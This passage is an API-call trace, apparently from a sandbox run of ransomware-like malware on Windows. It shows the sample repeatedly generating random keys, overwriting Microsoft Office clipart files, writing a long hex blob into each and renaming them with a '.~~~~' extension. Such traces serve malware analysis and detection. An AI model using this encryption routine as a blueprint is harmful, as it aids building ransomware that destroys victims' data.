	[0105.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0105.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a2c0
	[0105.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0105.041] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.041] GetLastError () returned 0x0
	[0105.041] GetLastError () returned 0x0
	[0105.041] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.042] GetLastError () returned 0x0
	[0105.042] GetLastError () returned 0x0
	[0105.048] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffeb7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.048] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1484, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1484, lpOverlapped=0x0) returned 1
	[0105.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.050] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.050] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.050] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.050] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.050] CloseHandle (hObject=0x128) returned 1
	[0105.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0105.051] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.~~~~")) returned 1
	[0105.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0105.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.052] GetLastError () returned 0x0
	[0105.052] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.054] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.054] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.054] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22504425895) returned 1
	[0105.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa84a4e10, dwHighDateTime=0x1d60e1e)) 
	[0105.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cc28
	[0105.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cc28 | out: hHeap=0x300000) returned 1
	[0105.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0105.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286aba8
	[0105.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0105.055] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.055] GetLastError () returned 0x0
	[0105.056] GetLastError () returned 0x0
	[0105.056] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.056] GetLastError () returned 0x0
	[0105.056] GetLastError () returned 0x0
	[0105.059] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff266, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.059] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xd9a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xd9a, lpOverlapped=0x0) returned 1
	[0105.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.061] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.061] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.061] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.061] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.061] CloseHandle (hObject=0x128) returned 1
	[0105.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0105.062] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.~~~~")) returned 1
	[0105.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0105.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.063] GetLastError () returned 0x0
	[0105.063] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.065] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.065] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.066] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22505573443) returned 1
	[0105.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa84caf70, dwHighDateTime=0x1d60e1e)) 
	[0105.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39d118
	[0105.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d118 | out: hHeap=0x300000) returned 1
	[0105.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0105.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286ac40
	[0105.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0105.067] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.067] GetLastError () returned 0x0
	[0105.067] GetLastError () returned 0x0
	[0105.067] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.067] GetLastError () returned 0x0
	[0105.067] GetLastError () returned 0x0
	[0105.144] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe358, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.145] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1ca8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1ca8, lpOverlapped=0x0) returned 1
	[0105.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.222] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.222] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.222] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.222] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.222] CloseHandle (hObject=0x128) returned 1
	[0105.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.224] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.~~~~")) returned 1
	[0105.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.227] GetLastError () returned 0x0
	[0105.227] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.229] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.229] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.229] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22521964148) returned 1
	[0105.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8647d30, dwHighDateTime=0x1d60e1e)) 
	[0105.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cc98
	[0105.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cc98 | out: hHeap=0x300000) returned 1
	[0105.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0105.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286acd8
	[0105.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.230] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.232] GetLastError () returned 0x0
	[0105.232] GetLastError () returned 0x0
	[0105.232] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.232] GetLastError () returned 0x0
	[0105.232] GetLastError () returned 0x0
	[0105.236] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffef9a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.236] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1066, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1066, lpOverlapped=0x0) returned 1
	[0105.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.237] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.237] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.238] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.238] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.238] CloseHandle (hObject=0x128) returned 1
	[0105.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896fc8
	[0105.238] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.~~~~")) returned 1
	[0105.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896fc8 | out: hHeap=0x300000) returned 1
	[0105.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.239] GetLastError () returned 0x0
	[0105.239] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.241] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.241] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.241] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22523098432) returned 1
	[0105.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa866de90, dwHighDateTime=0x1d60e1e)) 
	[0105.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286ccd0
	[0105.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286ccd0 | out: hHeap=0x300000) returned 1
	[0105.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896fc8
	[0105.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b068
	[0105.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896fc8 | out: hHeap=0x300000) returned 1
	[0105.242] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0105.242] GetLastError () returned 0x0
	[0105.242] GetLastError () returned 0x0
	[0105.242] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0105.242] GetLastError () returned 0x0
	[0105.242] GetLastError () returned 0x0
	[0105.245] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffccd6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.245] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x332a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x332a, lpOverlapped=0x0) returned 1
	[0105.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.246] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.247] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.247] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.247] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.247] CloseHandle (hObject=0x128) returned 1
	[0105.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896fc8
	[0105.247] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.~~~~")) returned 1
	[0105.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896fc8 | out: hHeap=0x300000) returned 1
	[0105.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.248] GetLastError () returned 0x0
	[0105.249] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.250] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.250] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.250] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22524022476) returned 1
	[0105.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8693ff0, dwHighDateTime=0x1d60e1e)) 
	[0105.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cd08
